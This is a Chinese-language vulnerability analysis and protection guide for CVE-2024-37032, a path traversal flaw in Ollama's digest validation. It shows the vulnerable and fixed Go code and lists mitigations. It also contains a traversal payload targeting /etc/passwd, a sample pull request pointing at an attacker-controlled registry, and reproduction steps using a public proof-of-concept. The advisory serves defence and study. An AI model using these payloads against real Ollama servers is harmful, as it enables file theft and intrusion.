CVE-2024-37032 Ollama远程代码执行漏洞分析报告
字数 1920 2025-08-29 22:41:10
Ollama远程代码执行漏洞(CVE-2024-37032)深度分析与防护指南
1. 漏洞概述
漏洞基本信息:
- 编号:CVE-2024-37032
- 类型:远程代码执行(RCE)
- 发现时间:2024年5月5日
- 公开时间:2024年6月24日
- 严重等级:高危(CVSS 3.1评分9.1)
- 影响版本:Ollama < 0.1.34
- 修复版本:Ollama 0.1.34及以上
2. 受影响产品介绍
Ollama是一个开源工具,专为在本地环境中运行和定制大型语言模型(LLM)而设计。它提供:
- 简单高效的接口用于创建、运行和管理AI模型
- 丰富的预构建模型库
- 易于集成到各种应用程序中
- 目标是简化大型语言模型的部署和交互
3. 漏洞技术细节
3.1 漏洞原理
该漏洞源于Ollama对digest字段验证不严格,导致路径遍历攻击可能。攻击者可通过构造恶意digest字段实现:
- 任意文件读取
- 任意文件写入
- 最终可能导致远程代码执行
3.2 漏洞利用机制
攻击流程分为四个阶段:
-
初始请求阶段:
- 攻击者向Ollama的
/api/pull端点发送请求 - 请求指向攻击者控制的恶意服务器
- 使用
insecure: true参数绕过SSL验证
- 攻击者向Ollama的
-
恶意响应阶段:
- 恶意服务器返回特制的manifest文件
digest字段包含路径遍历payload(如../../../../etc/passwd)
-
漏洞触发阶段:
- Ollama处理manifest时不验证
digest格式 - 路径遍历序列被当作合法路径处理
- 系统访问预期目录外的文件
- Ollama处理manifest时不验证
-
数据泄露阶段:
- 攻击者通过
/api/push请求获取敏感文件内容
- 攻击者通过
3.3 关键脆弱代码分析
漏洞存在于modelpath.go文件的GetBlobsPath函数中:
// 漏洞版本代码(v0.1.33及之前)
func GetBlobsPath(digest string) string {
return filepath.Join(blobsDir, digest) // 直接拼接路径,无验证
}
问题点:
- 未验证
digest是否符合SHA256格式(64位十六进制) - 直接将未过滤的输入拼接到文件路径
- 允许路径遍历序列(如
../)生效
3.4 修复方案分析
修复提交:2a21363bb756a7341d3d577f098583865bd7603f
修复方法:
// 修复后代码(v0.1.34)
func GetBlobsPath(digest string) (string, error) {
if !sha256DigestRegex.MatchString(digest) {
return "", fmt.Errorf("invalid digest format")
}
return filepath.Join(blobsDir, digest), nil
}
修复关键点:
- 引入正则验证
digest格式(^[a-f0-9]{64}$) - 确保输入为合法SHA256哈希值
- 阻止路径遍历序列注入
4. 漏洞影响评估
4.1 影响范围
- 国内风险资产:约3,955个(关联IP 994个)
- 全球风险资产:约5,960个(关联IP 1,581个)
4.2 潜在危害
- 数据泄露:读取系统敏感文件(
/etc/passwd等) - 系统破坏:写入恶意文件导致服务中断
- 权限提升:获取系统高级权限
- 横向渗透:作为内网渗透跳板
5. 漏洞复现指南
5.1 环境搭建
# 搭建漏洞环境
docker run -d -p 11434:11434 ollama/ollama:0.1.33
5.2 验证步骤
-
克隆利用代码:
git clone https://github.com/Bi0x/CVE-2024-37032.git -
修改PoC脚本:
- 设置
poc.py和server.py中的目标IP
- 设置
-
启动恶意服务器:
python server.py -
执行攻击:
python poc.py -
验证结果:
- 检查是否读取到目标系统的
/etc/passwd
- 检查是否读取到目标系统的
5.3 攻击请求示例
{
"name": "malicious-registry:5000/exploit",
"insecure": true
}
6. 防护与缓解措施
6.1 官方修复方案
- 立即升级到Ollama 0.1.34或更高版本
- 关注官方安全公告和更新
6.2 临时缓解措施
-
网络隔离:
- 限制Ollama服务的网络访问
- 避免暴露在公网
- 防火墙限制11434端口访问
-
权限控制:
- 使用最小权限原则运行Ollama服务
- 限制文件系统访问权限
-
监控措施:
- 监控可疑的API请求
- 记录异常文件访问行为
6.3 长期安全建议
-
安全开发实践:
- 实施严格的输入验证
- 遵循最小权限原则
- 定期安全代码审计
-
运维安全:
- 建立漏洞监控机制
- 定期安全评估和渗透测试
- 制定应急响应计划
-
安全意识:
- 加强开发人员安全培训
- 提高安全编码意识
- 建立安全开发生命周期(SDLC)
7. 参考资料
- Wiz Research Blog - Probllama: Ollama Vulnerability CVE-2024-37032
- GitHub Advisory - GHSA-8hqg-whrw-pv92
- Ollama Fix Commit
- Bi0x/CVE-2024-37032 PoC
附录:技术要点总结
- 漏洞根源:缺乏对
digest字段的格式验证和路径遍历防护 - 利用条件:未认证的Ollama服务+恶意registry服务器
- 攻击复杂度:低(无需特殊权限)
- 修复关键:严格的SHA256格式验证
- 防御核心:输入验证+权限控制+网络隔离
通过全面理解该漏洞的技术细节和防护措施,可以有效防范类似安全风险,确保AI模型服务的安全运行。